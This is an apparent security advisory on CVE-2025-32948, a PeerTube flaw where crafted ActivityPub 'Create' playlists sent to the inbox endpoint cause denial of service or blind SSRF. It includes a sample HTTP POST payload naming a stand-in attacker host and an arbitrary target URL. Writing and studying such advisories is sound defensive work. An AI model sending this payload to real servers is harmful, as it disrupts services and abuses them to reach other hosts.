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CVE-2025-32948: PeerTube Server Vulnerability Enabling Denial of Service and Blind SSRF

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Overview

This report details the critical vulnerability CVE-2025-32948, which affects PeerTube servers. This vulnerability allows attackers to potentially compromise systems or leak data by abusing the Create Activity functionality. The exploitation of this vulnerability can cause the PeerTube server to stop functioning or, in certain cases, send requests to arbitrary URLs, enabling Blind Server Side Request Forgery (SSRF).

Vulnerability Summary

CVE ID: CVE-2025-32948
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, Blind SSRF leading to potential system compromise or data leakage

Affected Products

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Product | Affected Versions

PeerTube | All versions prior to patch

How the Exploit Works

The vulnerability originates from the misuse of the Create Activity functionality in the PeerTube server. Attackers can craft specific playlists sent to the “inbox” endpoint of PeerTube’s ActivityPub activities. This malformed playlist can cause the server to stop functioning (Denial of Service), or in specific cases, force the server to send requests to arbitrary URLs leading to a Blind SSRF scenario.

Conceptual Example Code

Below is a conceptual example of how an HTTP request exploiting this vulnerability might look:

POST /inbox HTTP/1.1
Host: peertube.example.com
Content-Type: application/activity+json
{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"actor": "https://attacker.example.com/account",
"object": {
"type": "Playlist",
"url": "http://arbitrary.example.com"
}
}

In this example, the “url” parameter in the “object” field is misused to point to an arbitrary URL, leveraging the server to perform unintended requests.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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